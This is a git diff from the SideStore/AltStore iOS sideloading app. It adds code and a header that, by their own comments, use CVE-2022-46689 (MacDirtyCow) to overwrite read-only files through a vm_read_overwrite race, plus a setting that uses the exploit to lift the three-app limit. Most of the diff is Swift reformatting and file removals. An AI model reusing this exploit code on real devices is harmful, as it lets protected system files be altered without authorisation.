T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
|
||||
/* initialize to 'B' */
|
||||
memset((char *)e2, 'B', ctx->ob_sizing);
|
||||
|
||||
/* map our read-only target memory right after */
|
||||
ctx->vmaddress_zeroe = e2 + ctx->ob_sizing;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->vmaddress_zeroe,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
|
||||
ctx->memory_entry_r_o,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
|
||||
|
||||
/* let the racing thread go */
|
||||
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||
/* wait a little bit */
|
||||
usleep(100);
|
||||
|
||||
/* trigger copy_unaligned while racing with other thread */
|
||||
kr = vm_read_overwrite(mach_task_self(),
|
||||
e5,
|
||||
ctx->ob_sizing - 1 + what_is_the_length_of_this_overwrite_data,
|
||||
e2 + 1,
|
||||
&copied_size);
|
||||
T_QUIET;
|
||||
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
|
||||
"vm_read_overwrite kr %d", kr);
|
||||
switch (kr) {
|
||||
case KERN_SUCCESS:
|
||||
/* the target was RW */
|
||||
kern_success++;
|
||||
break;
|
||||
case KERN_PROTECTION_FAILURE:
|
||||
/* the target was RO */
|
||||
kern_protection_failure++;
|
||||
break;
|
||||
default:
|
||||
/* should not happen */
|
||||
kern_other++;
|
||||
break;
|
||||
}
|
||||
/* check that our read-only memory was not modified */
|
||||
#if 0
|
||||
//c = RO mapping was modified
|
||||
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "cddwq");
|
||||
#endif
|
||||
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
|
||||
|
||||
/* tell racing thread to stop toggling mappings */
|
||||
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||
|
||||
/* clean up before next loop */
|
||||
vm_deallocate(mach_task_self(), ctx->vmaddress_zeroe, ctx->ob_sizing);
|
||||
ctx->vmaddress_zeroe = 0;
|
||||
vm_deallocate(mach_task_self(), e2, ctx->ob_sizing);
|
||||
e2 = 0;
|
||||
if (!is_still_equal) {
|
||||
retval = true;
|
||||
// fprintf(stderr, "RO mapping was modified\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ctx->finished = true;
|
||||
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||
pthread_join(th, NULL);
|
||||
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_w);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_o);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
|
||||
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->ob_sizing);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
|
||||
kr = vm_deallocate(mach_task_self(), e5, ctx->ob_sizing * 2);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
|
||||
|
||||
//#if 0
|
||||
// T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
|
||||
// kern_success, kern_protection_failure, kern_other);
|
||||
// T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
|
||||
//#endif
|
||||
return retval;
|
||||
}
|
||||
8
AltStore/MDCExploit/vm_unalign_csr.h
Normal file
8
AltStore/MDCExploit/vm_unalign_csr.h
Normal file
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
|
||||
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
|
||||
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
|
||||
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
|
||||
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data);
|
||||
@@ -1,80 +0,0 @@
|
||||
//
|
||||
// NotificationManager.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 21.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AltStoreCore
|
||||
|
||||
class NotificationManager: ObservableObject {
|
||||
|
||||
struct Notification: Identifiable {
|
||||
let id: UUID
|
||||
let title: String
|
||||
let message: String?
|
||||
}
|
||||
|
||||
static let shared = NotificationManager()
|
||||
|
||||
@Published
|
||||
var notifications: [UUID: Notification] = [:]
|
||||
|
||||
private init() {}
|
||||
|
||||
func reportError(error: Error) {
|
||||
if case OperationError.cancelled = error {
|
||||
// Ignore
|
||||
return
|
||||
}
|
||||
|
||||
var error = error as NSError
|
||||
var underlyingError = error.underlyingError
|
||||
|
||||
if
|
||||
let unwrappedUnderlyingError = underlyingError,
|
||||
error.domain == AltServerErrorDomain && error.code == ALTServerError.Code.underlyingError.rawValue
|
||||
{
|
||||
// Treat underlyingError as the primary error.
|
||||
|
||||
error = unwrappedUnderlyingError as NSError
|
||||
underlyingError = nil
|
||||
}
|
||||
|
||||
let text: String
|
||||
let detailText: String?
|
||||
|
||||
if let failure = error.localizedFailure
|
||||
{
|
||||
text = failure
|
||||
detailText = error.localizedFailureReason ?? error.localizedRecoverySuggestion ?? underlyingError?.localizedDescription ?? error.localizedDescription
|
||||
}
|
||||
else if let reason = error.localizedFailureReason
|
||||
{
|
||||
text = reason
|
||||
detailText = error.localizedRecoverySuggestion ?? underlyingError?.localizedDescription
|
||||
}
|
||||
else
|
||||
{
|
||||
text = error.localizedDescription
|
||||
detailText = underlyingError?.localizedDescription ?? error.localizedRecoverySuggestion
|
||||
}
|
||||
|
||||
self.showNotification(title: text, detailText: detailText)
|
||||
}
|
||||
|
||||
func showNotification(title: String, detailText: String? = nil) {
|
||||
let notificationId = UUID()
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self.notifications[notificationId] = Notification(id: notificationId, title: title, message: detailText)
|
||||
}
|
||||
|
||||
let dismissWorkItem = DispatchWorkItem {
|
||||
self.notifications.removeValue(forKey: notificationId)
|
||||
}
|
||||
DispatchQueue.main.asyncAfter(deadline: .now().advanced(by: .seconds(5)), execute: dismissWorkItem)
|
||||
}
|
||||
}
|
||||
@@ -1,56 +0,0 @@
|
||||
//
|
||||
// OutputCapturer.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 12.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import LocalConsole
|
||||
|
||||
class OutputCapturer {
|
||||
|
||||
public static let shared = OutputCapturer()
|
||||
|
||||
private let consoleManager = LCManager.shared
|
||||
|
||||
private var inputPipe = Pipe()
|
||||
private var errorPipe = Pipe()
|
||||
private var outputPipe = Pipe()
|
||||
|
||||
private init() {
|
||||
// Setup pipe file handlers
|
||||
self.inputPipe.fileHandleForReading.readabilityHandler = { [weak self] fileHandle in
|
||||
self?.handle(data: fileHandle.availableData)
|
||||
}
|
||||
self.errorPipe.fileHandleForReading.readabilityHandler = { [weak self] fileHandle in
|
||||
self?.handle(data: fileHandle.availableData, isError: true)
|
||||
}
|
||||
|
||||
// Keep STDOUT
|
||||
dup2(STDOUT_FILENO, self.outputPipe.fileHandleForWriting.fileDescriptor)
|
||||
|
||||
// Intercept STDOUT and STDERR
|
||||
dup2(self.inputPipe.fileHandleForWriting.fileDescriptor, STDOUT_FILENO)
|
||||
dup2(self.errorPipe.fileHandleForWriting.fileDescriptor, STDERR_FILENO)
|
||||
}
|
||||
|
||||
deinit {
|
||||
try? self.inputPipe.fileHandleForReading.close()
|
||||
try? self.errorPipe.fileHandleForReading.close()
|
||||
}
|
||||
|
||||
private func handle(data: Data, isError: Bool = false) {
|
||||
// Write output to STDOUT
|
||||
self.outputPipe.fileHandleForWriting.write(data)
|
||||
|
||||
guard let string = String(data: data, encoding: .utf8) else {
|
||||
return
|
||||
}
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self.consoleManager.print(string)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -876,9 +876,7 @@ private extension AppManager
|
||||
|
||||
if app.certificateSerialNumber != group.context.certificate?.serialNumber ||
|
||||
uti != nil ||
|
||||
app.needsResign ||
|
||||
// We need to reinstall ourselves on refresh to ensure the new provisioning profile is used
|
||||
app.bundleIdentifier == StoreApp.altstoreAppID
|
||||
app.needsResign
|
||||
{
|
||||
// Resign app instead of just refreshing profiles because either:
|
||||
// * Refreshing using different certificate
|
||||
|
||||
@@ -6,13 +6,13 @@
|
||||
// Copyright © 2019 Riley Testut. All rights reserved.
|
||||
//
|
||||
|
||||
import UIKit
|
||||
import MobileCoreServices
|
||||
import Intents
|
||||
import Combine
|
||||
import Intents
|
||||
import MobileCoreServices
|
||||
import UIKit
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import AltStoreCore
|
||||
import Roxas
|
||||
|
||||
import Nuke
|
||||
@@ -151,8 +151,7 @@ final class MyAppsViewController: UICollectionViewController
|
||||
}
|
||||
|
||||
@IBAction func unwindToMyAppsViewController(_ segue: UIStoryboardSegue)
|
||||
{
|
||||
}
|
||||
{}
|
||||
}
|
||||
|
||||
private extension MyAppsViewController
|
||||
@@ -170,7 +169,7 @@ private extension MyAppsViewController
|
||||
dynamicDataSource.numberOfSectionsHandler = { 1 }
|
||||
dynamicDataSource.numberOfItemsHandler = { _ in self.updatesDataSource.itemCount == 0 ? 1 : 0 }
|
||||
dynamicDataSource.cellIdentifierHandler = { _ in "NoUpdatesCell" }
|
||||
dynamicDataSource.cellConfigurationHandler = { (cell, _, indexPath) in
|
||||
dynamicDataSource.cellConfigurationHandler = { cell, _, _ in
|
||||
let cell = cell as! NoUpdatesCollectionViewCell
|
||||
cell.layoutMargins.left = self.view.layoutMargins.left
|
||||
cell.layoutMargins.right = self.view.layoutMargins.right
|
||||
@@ -193,7 +192,7 @@ private extension MyAppsViewController
|
||||
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
||||
dataSource.liveFetchLimit = maximumCollapsedUpdatesCount
|
||||
dataSource.cellIdentifierHandler = { _ in "UpdateCell" }
|
||||
dataSource.cellConfigurationHandler = { [weak self] (cell, installedApp, indexPath) in
|
||||
dataSource.cellConfigurationHandler = { [weak self] cell, installedApp, _ in
|
||||
guard let self = self else { return }
|
||||
guard let app = installedApp.storeApp, let latestVersion = app.latestVersion else { return }
|
||||
|
||||
@@ -245,11 +244,12 @@ private extension MyAppsViewController
|
||||
|
||||
cell.setNeedsLayout()
|
||||
}
|
||||
dataSource.prefetchHandler = { (installedApp, indexPath, completionHandler) in
|
||||
dataSource.prefetchHandler = { installedApp, _, completionHandler in
|
||||
guard let iconURL = installedApp.storeApp?.iconURL else { return nil }
|
||||
|
||||
return RSTAsyncBlockOperation() { (operation) in
|
||||
ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { (response, error) in
|
||||
return RSTAsyncBlockOperation
|
||||
{ operation in
|
||||
ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { response, error in
|
||||
guard !operation.isCancelled else { return operation.finish() }
|
||||
|
||||
if let image = response?.image
|
||||
@@ -263,7 +263,7 @@ private extension MyAppsViewController
|
||||
})
|
||||
}
|
||||
}
|
||||
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
|
||||
dataSource.prefetchCompletionHandler = { cell, image, _, error in
|
||||
let cell = cell as! UpdateCollectionViewCell
|
||||
cell.bannerView.iconImageView.isIndicatingActivity = false
|
||||
cell.bannerView.iconImageView.image = image
|
||||
@@ -288,7 +288,7 @@ private extension MyAppsViewController
|
||||
|
||||
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
||||
dataSource.cellIdentifierHandler = { _ in "AppCell" }
|
||||
dataSource.cellConfigurationHandler = { (cell, installedApp, indexPath) in
|
||||
dataSource.cellConfigurationHandler = { cell, installedApp, indexPath in
|
||||
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
|
||||
|
||||
let cell = cell as! InstalledAppCollectionViewCell
|
||||
@@ -363,10 +363,13 @@ private extension MyAppsViewController
|
||||
cell.bannerView.button.progress = nil
|
||||
}
|
||||
}
|
||||
dataSource.prefetchHandler = { (item, indexPath, completion) in
|
||||
RSTAsyncBlockOperation { (operation) in
|
||||
item.managedObjectContext?.perform {
|
||||
item.loadIcon { (result) in
|
||||
dataSource.prefetchHandler = { item, _, completion in
|
||||
RSTAsyncBlockOperation
|
||||
{ _ in
|
||||
item.managedObjectContext?.perform
|
||||
{
|
||||
item.loadIcon
|
||||
{ result in
|
||||
switch result
|
||||
{
|
||||
case .failure(let error): completion(nil, error)
|
||||
@@ -376,7 +379,7 @@ private extension MyAppsViewController
|
||||
}
|
||||
}
|
||||
}
|
||||
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
|
||||
dataSource.prefetchCompletionHandler = { cell, image, _, _ in
|
||||
let cell = cell as! InstalledAppCollectionViewCell
|
||||
cell.bannerView.iconImageView.image = image
|
||||
cell.bannerView.iconImageView.isIndicatingActivity = false
|
||||
@@ -397,7 +400,7 @@ private extension MyAppsViewController
|
||||
|
||||
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
|
||||
dataSource.cellIdentifierHandler = { _ in "AppCell" }
|
||||
dataSource.cellConfigurationHandler = { (cell, installedApp, indexPath) in
|
||||
dataSource.cellConfigurationHandler = { cell, installedApp, _ in
|
||||
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
|
||||
|
||||
let cell = cell as! InstalledAppCollectionViewCell
|
||||
@@ -437,10 +440,13 @@ private extension MyAppsViewController
|
||||
cell.bannerView.button.progress = nil
|
||||
}
|
||||
}
|
||||
dataSource.prefetchHandler = { (item, indexPath, completion) in
|
||||
RSTAsyncBlockOperation { (operation) in
|
||||
item.managedObjectContext?.perform {
|
||||
item.loadIcon { (result) in
|
||||
dataSource.prefetchHandler = { item, _, completion in
|
||||
RSTAsyncBlockOperation
|
||||
{ _ in
|
||||
item.managedObjectContext?.perform
|
||||
{
|
||||
item.loadIcon
|
||||
{ result in
|
||||
switch result
|
||||
{
|
||||
case .failure(let error): completion(nil, error)
|
||||
@@ -450,7 +456,7 @@ private extension MyAppsViewController
|
||||
}
|
||||
}
|
||||
}
|
||||
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
|
||||
dataSource.prefetchCompletionHandler = { cell, image, _, _ in
|
||||
let cell = cell as! InstalledAppCollectionViewCell
|
||||
cell.bannerView.iconImageView.image = image
|
||||
cell.bannerView.iconImageView.isIndicatingActivity = false
|
||||
@@ -461,10 +467,7 @@ private extension MyAppsViewController
|
||||
|
||||
func updateDataSource()
|
||||
{
|
||||
|
||||
self.dataSource.predicate = nil
|
||||
|
||||
|
||||
self.dataSource.predicate = nil
|
||||
}
|
||||
}
|
||||
|
||||
@@ -485,15 +488,17 @@ private extension MyAppsViewController
|
||||
|
||||
if self.isViewLoaded
|
||||
{
|
||||
UIView.performWithoutAnimation {
|
||||
UIView.performWithoutAnimation
|
||||
{
|
||||
self.collectionView.reloadSections(IndexSet(integer: Section.updates.rawValue))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func fetchAppIDs()
|
||||
{
|
||||
AppManager.shared.fetchAppIDs { (result) in
|
||||
AppManager.shared.fetchAppIDs
|
||||
{ result in
|
||||
do
|
||||
{
|
||||
let (_, context) = try result.get()
|
||||
@@ -506,12 +511,14 @@ private extension MyAppsViewController
|
||||
}
|
||||
}
|
||||
|
||||
func refresh(_ installedApps: [InstalledApp], completionHandler: @escaping ([String : Result<InstalledApp, Error>]) -> Void)
|
||||
func refresh(_ installedApps: [InstalledApp], completionHandler: @escaping ([String: Result<InstalledApp, Error>]) -> Void)
|
||||
{
|
||||
let group = AppManager.shared.refresh(installedApps, presentingViewController: self, group: self.refreshGroup)
|
||||
group.completionHandler = { (results) in
|
||||
DispatchQueue.main.async {
|
||||
let failures = results.compactMapValues { (result) -> Error? in
|
||||
group.completionHandler = { results in
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
let failures = results.compactMapValues
|
||||
{ result -> Error? in
|
||||
switch result
|
||||
{
|
||||
case .failure(OperationError.cancelled): return nil
|
||||
@@ -557,7 +564,8 @@ private extension MyAppsViewController
|
||||
|
||||
self.refreshGroup = group
|
||||
|
||||
UIView.performWithoutAnimation {
|
||||
UIView.performWithoutAnimation
|
||||
{
|
||||
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
||||
}
|
||||
}
|
||||
@@ -570,7 +578,6 @@ private extension MyAppsViewController
|
||||
let visibleCells = self.collectionView.visibleCells
|
||||
|
||||
self.collectionView.performBatchUpdates({
|
||||
|
||||
self.isUpdateSectionCollapsed.toggle()
|
||||
|
||||
UIView.animate(withDuration: 0.3, animations: {
|
||||
@@ -644,8 +651,10 @@ private extension MyAppsViewController
|
||||
|
||||
let installedApps = InstalledApp.fetchAppsForRefreshingAll(in: DatabaseManager.shared.viewContext)
|
||||
|
||||
self.refresh(installedApps) { (result) in
|
||||
DispatchQueue.main.async {
|
||||
self.refresh(installedApps)
|
||||
{ _ in
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
self.isRefreshingAllApps = false
|
||||
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
||||
}
|
||||
@@ -654,7 +663,8 @@ private extension MyAppsViewController
|
||||
if #available(iOS 14, *)
|
||||
{
|
||||
let interaction = INInteraction.refreshAllApps()
|
||||
interaction.donate { (error) in
|
||||
interaction.donate
|
||||
{ error in
|
||||
guard let error = error else { return }
|
||||
print("Failed to donate intent \(interaction.intent).", error)
|
||||
}
|
||||
@@ -669,13 +679,17 @@ private extension MyAppsViewController
|
||||
let installedApp = self.dataSource.item(at: indexPath)
|
||||
|
||||
let previousProgress = AppManager.shared.installationProgress(for: installedApp)
|
||||
guard previousProgress == nil else {
|
||||
guard previousProgress == nil
|
||||
else
|
||||
{
|
||||
previousProgress?.cancel()
|
||||
return
|
||||
}
|
||||
|
||||
_ = AppManager.shared.update(installedApp, presentingViewController: self) { (result) in
|
||||
DispatchQueue.main.async {
|
||||
_ = AppManager.shared.update(installedApp, presentingViewController: self)
|
||||
{ result in
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
switch result
|
||||
{
|
||||
case .failure(OperationError.cancelled):
|
||||
@@ -727,11 +741,14 @@ private extension MyAppsViewController
|
||||
{
|
||||
var fileURL: URL?
|
||||
var application: ALTApplication?
|
||||
var installedApp: InstalledApp? {
|
||||
didSet {
|
||||
var installedApp: InstalledApp?
|
||||
{
|
||||
didSet
|
||||
{
|
||||
self.installedAppContext = self.installedApp?.managedObjectContext
|
||||
}
|
||||
}
|
||||
|
||||
private var installedAppContext: NSManagedObjectContext?
|
||||
|
||||
var error: Error?
|
||||
@@ -753,8 +770,10 @@ private extension MyAppsViewController
|
||||
else
|
||||
{
|
||||
let downloadProgress = Progress.discreteProgress(totalUnitCount: 100)
|
||||
downloadOperation = RSTAsyncBlockOperation { (operation) in
|
||||
let downloadTask = URLSession.shared.downloadTask(with: url) { (fileURL, response, error) in
|
||||
downloadOperation = RSTAsyncBlockOperation
|
||||
{ operation in
|
||||
let downloadTask = URLSession.shared.downloadTask(with: url)
|
||||
{ fileURL, response, error in
|
||||
do
|
||||
{
|
||||
let (fileURL, _) = try Result((fileURL, response), error).get()
|
||||
@@ -779,7 +798,8 @@ private extension MyAppsViewController
|
||||
}
|
||||
|
||||
let unzipProgress = Progress.discreteProgress(totalUnitCount: 1)
|
||||
let unzipAppOperation = BlockOperation {
|
||||
let unzipAppOperation = BlockOperation
|
||||
{
|
||||
do
|
||||
{
|
||||
if let error = context.error
|
||||
@@ -788,7 +808,8 @@ private extension MyAppsViewController
|
||||
}
|
||||
|
||||
guard let fileURL = context.fileURL else { throw OperationError.invalidParameters }
|
||||
defer {
|
||||
defer
|
||||
{
|
||||
try? FileManager.default.removeItem(at: fileURL)
|
||||
}
|
||||
|
||||
@@ -813,7 +834,8 @@ private extension MyAppsViewController
|
||||
}
|
||||
|
||||
let removeAppExtensionsProgress = Progress.discreteProgress(totalUnitCount: 1)
|
||||
let removeAppExtensionsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
|
||||
let removeAppExtensionsOperation = RSTAsyncBlockOperation
|
||||
{ [weak self] operation in
|
||||
do
|
||||
{
|
||||
if let error = context.error
|
||||
@@ -823,8 +845,10 @@ private extension MyAppsViewController
|
||||
|
||||
guard let application = context.application else { throw OperationError.invalidParameters }
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self?.removeAppExtensions(from: application) { (result) in
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
self?.removeAppExtensions(from: application)
|
||||
{ result in
|
||||
switch result
|
||||
{
|
||||
case .success: removeAppExtensionsProgress.completedUnitCount = 1
|
||||
@@ -844,7 +868,8 @@ private extension MyAppsViewController
|
||||
progress.addChild(removeAppExtensionsProgress, withPendingUnitCount: 5)
|
||||
|
||||
let installProgress = Progress.discreteProgress(totalUnitCount: 100)
|
||||
let installAppOperation = RSTAsyncBlockOperation { (operation) in
|
||||
let installAppOperation = RSTAsyncBlockOperation
|
||||
{ operation in
|
||||
do
|
||||
{
|
||||
if let error = context.error
|
||||
@@ -854,7 +879,8 @@ private extension MyAppsViewController
|
||||
|
||||
guard let application = context.application else { throw OperationError.invalidParameters }
|
||||
|
||||
let group = AppManager.shared.install(application, presentingViewController: self) { (result) in
|
||||
let group = AppManager.shared.install(application, presentingViewController: self)
|
||||
{ result in
|
||||
switch result
|
||||
{
|
||||
case .success(let installedApp): context.installedApp = installedApp
|
||||
@@ -873,7 +899,8 @@ private extension MyAppsViewController
|
||||
installAppOperation.completionBlock = {
|
||||
try? FileManager.default.removeItem(at: temporaryDirectory)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
self.navigationItem.leftBarButtonItem?.isIndicatingActivity = false
|
||||
self.sideloadingProgressView.observedProgress = nil
|
||||
self.sideloadingProgressView.setHidden(true, animated: true)
|
||||
@@ -883,12 +910,13 @@ private extension MyAppsViewController
|
||||
case .success(let app):
|
||||
completion(.success(()))
|
||||
|
||||
app.managedObjectContext?.perform {
|
||||
app.managedObjectContext?.perform
|
||||
{
|
||||
print("Successfully installed app:", app.bundleIdentifier)
|
||||
}
|
||||
|
||||
case .failure(OperationError.cancelled):
|
||||
completion(.failure((OperationError.cancelled)))
|
||||
completion(.failure(OperationError.cancelled))
|
||||
|
||||
case .failure(let error):
|
||||
let toastView = ToastView(error: error)
|
||||
@@ -930,11 +958,17 @@ private extension MyAppsViewController
|
||||
|
||||
@objc func presentInactiveAppsAlert()
|
||||
{
|
||||
let message: String
|
||||
var message: String
|
||||
|
||||
if UserDefaults.standard.activeAppLimitIncludesExtensions
|
||||
{
|
||||
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
|
||||
|
||||
if UserDefaults.standard.enableCowExploit
|
||||
{
|
||||
message += "\n\n"
|
||||
message += NSLocalizedString("If you've enabled the exploit in settings to remove the 3-app limit, you can install up to 10 apps and app extensions per Apple ID instead.", comment: "")
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -974,13 +1008,15 @@ private extension MyAppsViewController
|
||||
let message = firstSentence + " " + NSLocalizedString("Would you like to remove this app's extensions so they don't count towards your limit?", comment: "")
|
||||
|
||||
let alertController = UIAlertController(title: NSLocalizedString("App Contains Extensions", comment: ""), message: message, preferredStyle: .alert)
|
||||
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { (action) in
|
||||
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { _ in
|
||||
completion(.failure(OperationError.cancelled))
|
||||
}))
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default) { (action) in
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default)
|
||||
{ _ in
|
||||
completion(.success(()))
|
||||
})
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive) { (action) in
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive)
|
||||
{ _ in
|
||||
do
|
||||
{
|
||||
for appExtension in application.appExtensions
|
||||
@@ -1004,7 +1040,8 @@ private extension MyAppsViewController
|
||||
{
|
||||
func open(_ installedApp: InstalledApp)
|
||||
{
|
||||
UIApplication.shared.open(installedApp.openAppURL) { success in
|
||||
UIApplication.shared.open(installedApp.openAppURL)
|
||||
{ success in
|
||||
guard !success else { return }
|
||||
|
||||
let toastView = ToastView(error: OperationError.openAppFailed(name: installedApp.name))
|
||||
@@ -1015,16 +1052,20 @@ private extension MyAppsViewController
|
||||
func refresh(_ installedApp: InstalledApp)
|
||||
{
|
||||
let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
|
||||
guard previousProgress == nil else {
|
||||
guard previousProgress == nil
|
||||
else
|
||||
{
|
||||
previousProgress?.cancel()
|
||||
return
|
||||
}
|
||||
|
||||
self.refresh([installedApp]) { (results) in
|
||||
self.refresh([installedApp])
|
||||
{ results in
|
||||
// If an error occured, reload the section so the progress bar is no longer visible.
|
||||
if results.values.contains(where: { $0.error != nil })
|
||||
{
|
||||
DispatchQueue.main.async {
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
||||
}
|
||||
}
|
||||
@@ -1040,7 +1081,8 @@ private extension MyAppsViewController
|
||||
do
|
||||
{
|
||||
let app = try result.get()
|
||||
app.managedObjectContext?.perform {
|
||||
app.managedObjectContext?.perform
|
||||
{
|
||||
try? app.managedObjectContext?.save()
|
||||
}
|
||||
}
|
||||
@@ -1052,7 +1094,8 @@ private extension MyAppsViewController
|
||||
{
|
||||
print("Failed to activate app:", error)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
installedApp.isActive = false
|
||||
|
||||
let toastView = ToastView(error: error)
|
||||
@@ -1073,11 +1116,13 @@ private extension MyAppsViewController
|
||||
.filter(\.isActive)
|
||||
.map { $0.publisher(for: \.isActive) }
|
||||
.collect()
|
||||
.flatMap { publishers in
|
||||
.flatMap
|
||||
{ publishers in
|
||||
Publishers.MergeMany(publishers)
|
||||
}
|
||||
.first { isActive in !isActive }
|
||||
.sink { _ in
|
||||
.sink
|
||||
{ _ in
|
||||
// A previously active app is now inactive,
|
||||
// which means there are now enough slots to activate the app,
|
||||
// so pre-emptively mark it as active to provide visual feedback sooner.
|
||||
@@ -1085,9 +1130,11 @@ private extension MyAppsViewController
|
||||
cancellable?.cancel()
|
||||
}
|
||||
|
||||
AppManager.shared.deactivateApps(for: app, presentingViewController: self) { result in
|
||||
AppManager.shared.deactivateApps(for: app, presentingViewController: self)
|
||||
{ result in
|
||||
cancellable?.cancel()
|
||||
installedApp.managedObjectContext?.perform {
|
||||
installedApp.managedObjectContext?.perform
|
||||
{
|
||||
switch result
|
||||
{
|
||||
case .failure(let error):
|
||||
@@ -1113,7 +1160,8 @@ private extension MyAppsViewController
|
||||
guard installedApp.isActive else { return }
|
||||
installedApp.isActive = false
|
||||
|
||||
AppManager.shared.deactivate(installedApp, presentingViewController: self) { (result) in
|
||||
AppManager.shared.deactivate(installedApp, presentingViewController: self)
|
||||
{ result in
|
||||
do
|
||||
{
|
||||
let app = try result.get()
|
||||
@@ -1125,7 +1173,8 @@ private extension MyAppsViewController
|
||||
{
|
||||
print("Failed to activate app:", error)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
installedApp.isActive = true
|
||||
|
||||
let toastView = ToastView(error: error)
|
||||
@@ -1153,13 +1202,15 @@ private extension MyAppsViewController
|
||||
|
||||
let alertController = UIAlertController(title: title, message: message, preferredStyle: .actionSheet)
|
||||
alertController.addAction(.cancel)
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove", comment: ""), style: .destructive, handler: { (action) in
|
||||
AppManager.shared.remove(installedApp) { (result) in
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove", comment: ""), style: .destructive, handler: { _ in
|
||||
AppManager.shared.remove(installedApp)
|
||||
{ result in
|
||||
switch result
|
||||
{
|
||||
case .success: break
|
||||
case .failure(let error):
|
||||
